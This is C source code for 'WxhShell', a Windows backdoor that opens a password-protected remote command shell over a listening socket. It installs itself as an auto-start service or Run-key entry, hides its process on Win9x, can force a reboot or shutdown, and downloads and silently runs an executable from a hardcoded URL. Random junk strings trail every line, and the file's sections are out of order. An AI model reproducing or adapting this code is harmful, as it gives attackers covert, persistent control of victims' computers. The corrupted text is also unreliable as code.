    if(Boot(SHUTDOWN)) < AI;6/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [k[u*5hP|F  
    else { }C  /]  
    closesocket(wsh); T# lP!c  
    ExitThread(0); ~1*A  
    } `gpQW~*R-;  
    break; ExSO|g]%  
    } \ A%eG&  
  // 获取shell -/ x W  
  case 's': { uNHdpni  
    CmdShell(wsh); TZ;p0^(  
    closesocket(wsh); !Y<oN~<%)  
    ExitThread(0); Uw/l>\  
    break; vBvNu<v7te  
  } O lfn  
  // 退出 oyk>vIZ  
  case 'x': { <e)o1+[w  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a`E*\O'd  
    CloseIt(wsh); _Cy:]2o  
    break; v)f7};"z   
    } `_5GG3@Ff  
  // 离开 Z,c,G2D  
  case 'q': { {kLGWbo|Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D6~+Y~R  
    closesocket(wsh); 8L5!T6+D&  
    WSACleanup(); 3ta$L"a  
    exit(1); mPPk )qy  
    break; ~=&t0D  
        } 85IMdZ7I  
  } #.5vC5  
  } y/? &pKH^  
SQWafD  
  // 提示信息 J4 tcQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >p])it[q&$  
} 6  P`)%zj  
  } z *9FlV  
DjCx~@  
  return; .mL#6P!d3^  
} U@Tj B  
-$<O\5cAQ  
// shell模块句柄 ~|Z'l%<Os  
int CmdShell(SOCKET sock) s?3i) Ymr  
{ !umEyd@ "  
STARTUPINFO si; m"-[".-l-  
ZeroMemory(&si,sizeof(si)); [9mL $;M W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @!Hr|k|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gVU1Y6.  
PROCESS_INFORMATION ProcessInfo; `nJu?5  
char cmdline[]="cmd"; Y\+KoR' ;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [m'CR 4(|  
  return 0; 2.Yi( r  
} HFo-4"  
+VU4s$w6  
// 自身启动模式 c 5`US  
int StartFromService(void) 68R1AqU_  
{ ~V)?>)T  
typedef struct ~S; Z\  
{ % *z-PT22  
  DWORD ExitStatus; 9l+{OA  
  DWORD PebBaseAddress; 8cm@a*2%  
  DWORD AffinityMask; jU=<r  
  DWORD BasePriority; WxGSv#u  
  ULONG UniqueProcessId; 8 Op.eYe  
  ULONG InheritedFromUniqueProcessId; 59rY[&|  
}   PROCESS_BASIC_INFORMATION; o%y;(|4t >  
V+Xl9v4O  
PROCNTQSIP NtQueryInformationProcess; I<h=Cj[[  
>O]s&34  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :a3LS|W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {UH9i'y:t  
:DkAQ-<~  
  HANDLE             hProcess; ~fzuwz  
  PROCESS_BASIC_INFORMATION pbi; dl l%4Sd  
noNm^hFL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q]<xMg#nu  
  if(NULL == hInst ) return 0; , fb( WY  
N dR ]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r$nkU4N'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h3Fo-]0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )QY![&k}1z  
tSv0" L  
  if (!NtQueryInformationProcess) return 0; +=c am/A  
We`'>'W0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^[-> )  
  if(!hProcess) return 0; Y?Vz(udD  
o;`!kIQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QLb MPS  
@qK<T  
  CloseHandle(hProcess); ilEi")b=  
b;9n'UX\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :kw0y  
if(hProcess==NULL) return 0; IlLn4Iw  
M?o{STt  
HMODULE hMod; FMu!z  
char procName[255]; - G ?%QG`v  
unsigned long cbNeeded; (;6s)z  
73DlRt *  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aIvBY78o  
RfbdBsL  
  CloseHandle(hProcess); x3p9GAd#  
izt^Wi|  
if(strstr(procName,"services")) return 1; // 以服务启动 +cfziQ$'  
rFXSO=P?Z  
  return 0; // 注册表启动 {y);vHf$  
} mf*Nr0L;J  
Fu0.~w  
// 主模块 yMIT(  
int StartWxhshell(LPSTR lpCmdLine) (5Ky6b9v  
{ k@q Wig  
  SOCKET wsl; kfpm=dKL  
BOOL val=TRUE; |Is'-g!  
  int port=0; O@`J_9  
  struct sockaddr_in door; S|2VP8xY9  
4%bTj,H#  
  if(wscfg.ws_autoins) Install(); Pc4R!Tc  
~PUsgL^  
port=atoi(lpCmdLine); u 2lX d'  
T8q[7Zn  
if(port<=0) port=wscfg.ws_port; 3}M \c)  
/Nqrvy=  
  WSADATA data; YeIe\3x!N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; </w 7W3F  
>)%#V<{<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3Wj,}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3LfTGO  
  door.sin_family = AF_INET; e 2*F;.)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T+W3_xISX  
  door.sin_port = htons(port); ,^+#M{Z  
oQBiPN+v.3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }B*,mn2N  
closesocket(wsl); (wlfMiO  
return 1; )=(n/vckM  
} '^lUL) R  
T+BIy|O  
  if(listen(wsl,2) == INVALID_SOCKET) { z6}Pj>1  
closesocket(wsl); Cji#?!Ra?  
return 1; 49y *xMn  
} yr{5Rp05=  
  Wxhshell(wsl); 45r|1<Ro  
  WSACleanup(); .r6YrB@['  
=u[rOU{X"W  
return 0; ox JGJ  
V4oak!}?  
} johmJLC  
XL?A w  
// 以NT服务方式启动 Dwk$CJb3-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B^Bbso'{1  
{ 7zi"caY  
DWORD   status = 0; [M<{P5q  
  DWORD   specificError = 0xfffffff; ylT6h_z1[Y  
:MdEr//w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Flne=ij6g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; HcDyD0;L.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JYl\<Z' {  
  serviceStatus.dwWin32ExitCode     = 0; `J]<_0kX}%  
  serviceStatus.dwServiceSpecificExitCode = 0; rt,0j/o.1  
  serviceStatus.dwCheckPoint       = 0; ^,~N7`  
  serviceStatus.dwWaitHint       = 0; >9(7h&[Y  
Kyyih|{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a$laRtId7  
  if (hServiceStatusHandle==0) return; okVp\RC  
k>$FT `  
status = GetLastError(); ?L8&(&1@VD  
  if (status!=NO_ERROR) % i %ew4  
{ }ty"fI3&iY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^#}dPGm  
    serviceStatus.dwCheckPoint       = 0; o- cj&Cv%  
    serviceStatus.dwWaitHint       = 0; <8g *O2  
    serviceStatus.dwWin32ExitCode     = status; Bmi:2} j  
    serviceStatus.dwServiceSpecificExitCode = specificError; b1eK(F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -MQZiq7H4  
    return; /0Rt+`  
  } :,urb*  
:h^O{"au^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d'x<- l9  
  serviceStatus.dwCheckPoint       = 0; &NlS  =  
  serviceStatus.dwWaitHint       = 0; xI-=t ib  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )PsN_ 42~  
} DxE^#=7iH;  
N)9pz?*V  
// 处理NT服务事件,比如:启动、停止 9k714bnMLX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) YJ &lB&xH  
{ 8=lHUn9l  
switch(fdwControl) ._8xY$l$  
{ =}B4I  
case SERVICE_CONTROL_STOP: N |OMj%Uk  
  serviceStatus.dwWin32ExitCode = 0; 2U=/<3;u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -d$8WSI 8  
  serviceStatus.dwCheckPoint   = 0; Eqz4{\   
  serviceStatus.dwWaitHint     = 0; a7XXhsZ  
  { n25irCD`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B"pFJ"XR  
  } c^i"}2+  
  return; q[PD  
case SERVICE_CONTROL_PAUSE: OqEg{o5 a&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {bAWc.  
  break; pDLu+ }@  
case SERVICE_CONTROL_CONTINUE: I$3"|7[n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +YGw4{\EL  
  break; lM@<_=2  
case SERVICE_CONTROL_INTERROGATE:  ;'2`M  
  break; [4K9|/J  
}; FgFJ0fo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -13P 2<i+  
} el2*\(XT  
i6!T`Kau  
// 标准应用程序主函数 p=mCK@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FR@PhMUS  
{ y V 9]_k  
fg>B  
// 获取操作系统版本 + d+hvwEM  
OsIsNt=GetOsVer(); % K9; qJ5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !I~C\$^U  
j#Ky0+@V  
  // 从命令行安装 1_33;gP  
  if(strpbrk(lpCmdLine,"iI")) Install(); '[M^f+H|  
? $)x$nS`  
  // 下载执行文件  K$37}S5  
if(wscfg.ws_downexe) { 'XZI{q2i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `wn<3#  
  WinExec(wscfg.ws_filenam,SW_HIDE); Tdk2436=  
} 5v Uz  
"2#-xOCO  
if(!OsIsNt) { > hDsm;,/  
// 如果时win9x,隐藏进程并且设置为注册表启动 tpNtoqg_$  
HideProc(); +qh< Fj>  
StartWxhshell(lpCmdLine); Th& Wq  
} (.@p4q Q-  
else 5 CY_Ay\  
  if(StartFromService()) !ho5VA t  
  // 以服务方式启动 `lu"yF  
  StartServiceCtrlDispatcher(DispatchTable); XL.CJ5y>  
else ]@ Sc}  
  // 普通方式启动 <.AC=4@V  
  StartWxhshell(lpCmdLine); Tjeo*n^  
[U3D`V$xD  
return 0; Q~b M  
} ?sjZ13 SUa  
C+L_61  
UgD'Bi  
:9!0 Rm  
=========================================== V&4:nIS>z  
U Qi^udGFD  
syC"eH3{  
QNa}M{5>h  
VM2@{V/=~  
?2;n=&ZM  
" )-6s7  
^pQo`T6  
#include <stdio.h> ]\D6;E8P-~  
#include <string.h> e??{&[  
#include <windows.h> A9qO2kq7_  
#include <winsock2.h> io+7{B=u$  
#include <winsvc.h> !6tC[W`  
#include <urlmon.h> 4_m /_Z0x  
LA=>g/+i.X  
#pragma comment (lib, "Ws2_32.lib") |B{$URu  
#pragma comment (lib, "urlmon.lib") d*\C^:Z  
Nh\8+v*+{  
#define MAX_USER   100 // 最大客户端连接数 #Z=)=  
#define BUF_SOCK   200 // sock buffer yu?s5  
#define KEY_BUFF   255 // 输入 buffer Er/5 ,  
y~A7pzBZ=  
#define REBOOT     0   // 重启 -g[*wN8  
#define SHUTDOWN   1   // 关机 't]EkH]BC  
0h@%q;g  
#define DEF_PORT   5000 // 监听端口 +}-W.H%`0  
;\*Od?1  
#define REG_LEN     16   // 注册表键长度 Bc|x:#`C\{  
#define SVC_LEN     80   // NT服务名长度 b gc<)=  
(Y.$wMB  
// 从dll定义API /6+%(f}7l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^qus `6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A%m `LKV~@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); + $a:X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U)w|GrxX  
dzv,)X  
// wxhshell配置信息 K7O? {/  
struct WSCFG { (z1%lZ}(  
  int ws_port;         // 监听端口   [aS)<^  
  char ws_passstr[REG_LEN]; // 口令 {5tEsv  
  int ws_autoins;       // 安装标记, 1=yes 0=no f93X5hFnF  
  char ws_regname[REG_LEN]; // 注册表键名 XX[Wwt  
  char ws_svcname[REG_LEN]; // 服务名 ^$Io;*N4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ' bw,K*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JdYF&~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yg[;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WmVw>.]@~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]ifHA# z`~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '=b&)HbeK  
_}D?+x,C8  
}; =+-.5M  
4p.{G%h  
// default Wxhshell configuration !6/IKh`J  
struct WSCFG wscfg={DEF_PORT, Y 6Qb_X:  
    "xuhuanlingzhe", >T*g'954xF  
    1, Q|<?$.FN"8  
    "Wxhshell", e/Oj T  
    "Wxhshell", /~rO2]rZ@  
            "WxhShell Service", G~tOCp="p  
    "Wrsky Windows CmdShell Service", &?`&X=Q  
    "Please Input Your Password: ", T\s#-f[x  
  1, .z>." `  
  "http://www.wrsky.com/wxhshell.exe", %y7wF'_Y  
  "Wxhshell.exe" R"t$N@ZFb  
    }; -*q2Y^A^l  
IIn\{*|mW  
// 消息定义模块 }0nB' 0|y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =+=|{l?F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; D&m"~wI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4$2T zJE  
char *msg_ws_ext="\n\rExit."; nN\XVGP,t  
char *msg_ws_end="\n\rQuit."; [}>6n72gNh  
char *msg_ws_boot="\n\rReboot..."; zPkPC}f(O  
char *msg_ws_poff="\n\rShutdown..."; . _t,OX$  
char *msg_ws_down="\n\rSave to "; *!Y3N<>!  
bNU^tL3QZ  
char *msg_ws_err="\n\rErr!"; #R PB;#{  
char *msg_ws_ok="\n\rOK!"; hPpXB:(-0  
KdpJ[[Ug/  
char ExeFile[MAX_PATH]; 3M*[a~  
int nUser = 0; N,,2 VSUr  
HANDLE handles[MAX_USER]; ']Xx#U N  
int OsIsNt; =<h=">}5'  
B@vH1T  
SERVICE_STATUS       serviceStatus; 1WN93 SQ=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f4I9H0d;!  
HU+H0S~g  
// 函数声明 `gs,JJ6N  
int Install(void); B[|/wHMsT}  
int Uninstall(void); p% %Y^=z  
int DownloadFile(char *sURL, SOCKET wsh); 3i}B\ {  
int Boot(int flag); [:S F(*}  
void HideProc(void); G ]By_  
int GetOsVer(void); h1o+7  
int Wxhshell(SOCKET wsl); qAik$.  
void TalkWithClient(void *cs); I_*>EA  
int CmdShell(SOCKET sock); hD"~ ^  
int StartFromService(void); s? #lhI  
int StartWxhshell(LPSTR lpCmdLine); ^v5hr>m  
l>?vjy65  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (UT*T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9cj-v}5j  
cS7!,XC  
// 数据结构和表定义 vkgL"([_  
SERVICE_TABLE_ENTRY DispatchTable[] = W3rvKqdw5  
{ K3D $ hb  
{wscfg.ws_svcname, NTServiceMain}, O;?~#E<6w  
{NULL, NULL} oA@^N4PD  
}; L1 VTq9[3  
+= ~}PF  
// 自我安装 ^v|!(h\ZC  
int Install(void) (UXB#I~  
{ Bys|i0tb-  
  char svExeFile[MAX_PATH]; K(<P" g(  
  HKEY key; @cGql=t  
  strcpy(svExeFile,ExeFile);  Z5-'|h$|  
,sl.:C4  
// 如果是win9x系统,修改注册表设为自启动 v72 dE  
if(!OsIsNt) { FQ)Ekss~C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ttVSgKAsm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }!Lr!eALr  
  RegCloseKey(key); '=* 5C{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9Wrcl ai  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .utL/1Ej  
  RegCloseKey(key); { rn~D5R  
  return 0; [rsAY&.  
    } P'~3WL4MKs  
  } ,_zt? o\  
} ]NsaFDi\  
else { }2oJ  
^]gl#&"D  
// 如果是NT以上系统,安装为系统服务 `<~P>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,u2<()`8D  
if (schSCManager!=0) ^O m]B;  
{ Cz)D3Df^  
  SC_HANDLE schService = CreateService 3 2D/%dHC  
  ( Q.\ovk~,a  
  schSCManager, N2J!7uoQ  
  wscfg.ws_svcname, (5&"Y?#o,  
  wscfg.ws_svcdisp, 5GkM7Zu!{j  
  SERVICE_ALL_ACCESS, ')cu/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xpwzzO*U  
  SERVICE_AUTO_START, DYK|"@  
  SERVICE_ERROR_NORMAL, iSlVe~ef  
  svExeFile, Q-5wI$=  
  NULL, 1| DI'e[X  
  NULL, E@KK\m \e  
  NULL, [4yQ-L)]e  
  NULL, -X \v B  
  NULL ;@hP*7Lm  
  ); WgB,,L,  
  if (schService!=0) +\chHOsw  
  { &YNhKm@"  
  CloseServiceHandle(schService); ps{(UYM=b  
  CloseServiceHandle(schSCManager); [bXZPIz;j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [:qX3"B  
  strcat(svExeFile,wscfg.ws_svcname); jXf-+ ;ZQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K<tg+(3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u 36;;z  
  RegCloseKey(key); Op{Mc$5a  
  return 0; jBbc$|O4SY  
    } a\MJbBXv  
  } f9$q.a*  
  CloseServiceHandle(schSCManager); Tw5BvB1  
} RI=B(0 A  
} \Wk$>?+#@  
FCPbp!q6  
return 1; kn.z8%^(  
} G'Y|MCKz>  
tG-MC&;=  
// 自我卸载 zqkmsFH{  
int Uninstall(void) p pq#5t^[)  
{ y (A"g3^=  
  HKEY key; +#no$m.bH  
mVLGQlvVK  
if(!OsIsNt) { <PxEl4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AXCJFqk;  
  RegDeleteValue(key,wscfg.ws_regname); q'q{M-U<  
  RegCloseKey(key); xjpW<-)MLf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;Mz]uk  
  RegDeleteValue(key,wscfg.ws_regname); i]v!o$7  
  RegCloseKey(key); iu'yB  
  return 0; jX%Q  
  } I}X8-WFB  
} f8lww)^,v  
} 1tDN$rM5  
else { kAoai|m@R  
sAb|]Q((  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -]e@cevy  
if (schSCManager!=0) {~SR>I3sv  
{ g;pFT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kL-+V)Kl  
  if (schService!=0) OX"`VE  
  { *sTQ9 Kr  
  if(DeleteService(schService)!=0) { v:chr$>j5  
  CloseServiceHandle(schService); ZD/!C9:&.0  
  CloseServiceHandle(schSCManager); VYBl0!t  
  return 0; LYX+/@OU2  
  } d={}a,3?  
  CloseServiceHandle(schService); ~VOmMw4HV  
  } M@8(h=  
  CloseServiceHandle(schSCManager); #L"h >,b  
} MI/1uw  
} wv<"W@& 9  
i[<O@Rb  
return 1; G`pI{_-e  
} }IV7dKzl  
[# _ceg1G  
// 从指定url下载文件 Jd |hwvwFe  
int DownloadFile(char *sURL, SOCKET wsh) l6&R g-  
{ L{42?d  
  HRESULT hr; 8wBns)wy@  
char seps[]= "/"; "Xm'(c(  
char *token; %63<Iz"  
char *file; X#J[Nn>  
char myURL[MAX_PATH]; 3laSPih[.  
char myFILE[MAX_PATH]; i@2?5U>h  
8S0)_L#S  
strcpy(myURL,sURL); w4OVfTlN  
  token=strtok(myURL,seps); K46\Rm_:B;  
  while(token!=NULL) g$< @!  
  { P=h2Z,2  
    file=token; = *sP, 6  
  token=strtok(NULL,seps); a7+BAma<  
  } <Z vG&  
=q._Qsj?fu  
GetCurrentDirectory(MAX_PATH,myFILE); o5)U3U1|  
strcat(myFILE, "\\"); W?$ ImW  
strcat(myFILE, file); y]/{W}D  
  send(wsh,myFILE,strlen(myFILE),0); ]`MRH[{  
send(wsh,"...",3,0); { "/@,!9rJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;{>z\6N  
  if(hr==S_OK) W4N$]D=  
return 0; 8]0^OSS  
else rO-Tr  
return 1; }p#S;JZRu+  
(\Dd9a8V-  
} .G^ .kg ,  
Cc=`:ED+  
// 系统电源模块 9 Hm!B )Y  
int Boot(int flag) bC&_OU:  
{ _+UD>u{  
  HANDLE hToken;  ~d }-  
  TOKEN_PRIVILEGES tkp; L<E`~\C'  
bNqjjg  
  if(OsIsNt) { Abj`0\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Bdq/Ohw|!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7_JK2  
    tkp.PrivilegeCount = 1; )q#b^( v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uy B ?-Y+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )]/!:I4e  
if(flag==REBOOT) { ZJ!/49c*>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m86w{b$8  
  return 0; }ulFW]A^7  
} bJ9>,,D  
else { GwpJxiFgk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0.?|%;^ib  
  return 0; FO*Py)/rX  
} Nf3L  
  } 0BD3~Lv  
  else { W1Ht8uYG3  
if(flag==REBOOT) { Y2Tg>_:t   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]e+S~me  
  return 0; ; LTc4t  
} [u~#F,_ow  
else { #MI}KmH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ];IUiS1  
  return 0; KSLyU1W  
} p#3P`I>ZrT  
} lGs fs(  
{+Eq{8m`  
return 1; NC0x!tJ#7  
} bGDV9su  
x3)qK6,\  
// win9x进程隐藏模块 @ij}|k%*  
void HideProc(void) nE,"3X"   
{ _w(SHWh2  
]` 3;8,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c,e 0+  
  if ( hKernel != NULL ) _pW\F(+8  
  { '*W/Bett  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 514;!Q4K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aN.Phn:  
    FreeLibrary(hKernel); c>I^SY(r%  
  } mw.9cDf  
JgEpqA12  
return; qdzc"-gH`  
} rlW  
)V+ ;7j<"D  
// 获取操作系统版本 >?I[dYzut  
int GetOsVer(void) C7,Ol0`v  
{ J8(v65  
  OSVERSIONINFO winfo; U2!9Tl9".  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {ImZ><xe/  
  GetVersionEx(&winfo); wz;IKdk[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Dk8" H >*  
  return 1; q S2#=  
  else N-;e" g  
  return 0; l9#vr  
} ~^G k7  
'@rGX+"  
// 客户端句柄模块 v dyu=*Y  
int Wxhshell(SOCKET wsl) *YYm;J'  
{ Q-(twh  
  SOCKET wsh; Pr/K5aJeg  
  struct sockaddr_in client; p ^T0(\1  
  DWORD myID; r=<,`_@Y  
KI#),~n S  
  while(nUser<MAX_USER) <T<?7SE+  
{ >OmY  
  int nSize=sizeof(client); YWjw`,EA(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $Y 7q2  
  if(wsh==INVALID_SOCKET) return 1; < JA5.6<=  
Bxak[>/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7zT]\AnO  
if(handles[nUser]==0) E[^66(KR  
  closesocket(wsh); 6 C;??Y>b  
else ]Z2;sA  
  nUser++; $ !ka8) ~  
  } z`5d,M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X5'foFE'  
T/UhZ4(V  
  return 0; -@e9!/GP,  
} A F>!:  
mRFcZ.7  
// 关闭 socket 5 J61PuH   
void CloseIt(SOCKET wsh) Sr/"'w;  
{ QVm3(;&'  
closesocket(wsh); {088j?[hzk  
nUser--; m^%[  
ExitThread(0); 0k0 y'1SL  
} G)M9to  
Jah~h44&  
// 客户端请求句柄 *h$Z:p-g  
void TalkWithClient(void *cs) -(ABQgSO]  
{ Gr}Lp  
s=#3f3  
  SOCKET wsh=(SOCKET)cs; CUaI66  
  char pwd[SVC_LEN]; 7xz|u\?_2  
  char cmd[KEY_BUFF]; ?(n|ykXwc  
char chr[1]; la[xbv   
int i,j; 8$BZbj%?hx  
&AG,]#  
  while (nUser < MAX_USER) { e@F9'z4  
m = "N4!  
if(wscfg.ws_passstr) { f)~urGazS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DI"mi1ObE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rku9? zf^  
  //ZeroMemory(pwd,KEY_BUFF); Yu>VW\Fb  
      i=0; Jo1n>Mo-j  
  while(i<SVC_LEN) { 49E<`f0  
jqh d<w  
  // 设置超时 m\)z& hv<r  
  fd_set FdRead; D4?5 %s  
  struct timeval TimeOut; M8oI8\6[  
  FD_ZERO(&FdRead); H~^am  
  FD_SET(wsh,&FdRead); 2xN1=ug  
  TimeOut.tv_sec=8; BC=U6>`/  
  TimeOut.tv_usec=0; p'fU}B1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DP6M4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6Xu8~%i  
uhz:G~x!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b)tvXiO1>  
  pwd=chr[0]; 3i/$YX5@  
  if(chr[0]==0xd || chr[0]==0xa) { <b~KR8  
  pwd=0; %qfql  
  break; mx y>  
  } zB kS1qMn  
  i++; Q-k{Lqa-  
    } mFC0f?nr  
ggR@& \  
  // 如果是非法用户,关闭 socket : n 4?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C0eP/d  
} _@3@_GE  
nlQ<Aa-%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C0|<+3uND=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N{U``LV  
Xt %;]1n  
while(1) { e "5S ;  
wu "6Kyu  
  ZeroMemory(cmd,KEY_BUFF); (p08jR '5  
id="\12Bw  
      // 自动支持客户端 telnet标准   n a,j  
  j=0; 2>Bx/QF@<  
  while(j<KEY_BUFF) { s-!Bpr16o0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gJ6 C&8tl  
  cmd[j]=chr[0]; F:"<4hiA"  
  if(chr[0]==0xa || chr[0]==0xd) { a;jXMR  
  cmd[j]=0; /B73|KB+  
  break; _h", ,"p#o  
  } g} 7FR({b  
  j++; sDL@e33Yb  
    } RsIR}.*  
<2Lcy&w_M  
  // 下载文件 Bvj-LT=)  
  if(strstr(cmd,"http://")) { cLj@+?/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O:cta/M  
  if(DownloadFile(cmd,wsh)) c%9wI*l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o7' cC?u  
  else !*_5 B'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~0aWjMc(>  
  } m{4e+&S|  
  else { L8("1_  
0hnTHlk  
    switch(cmd[0]) { {_t i*#  
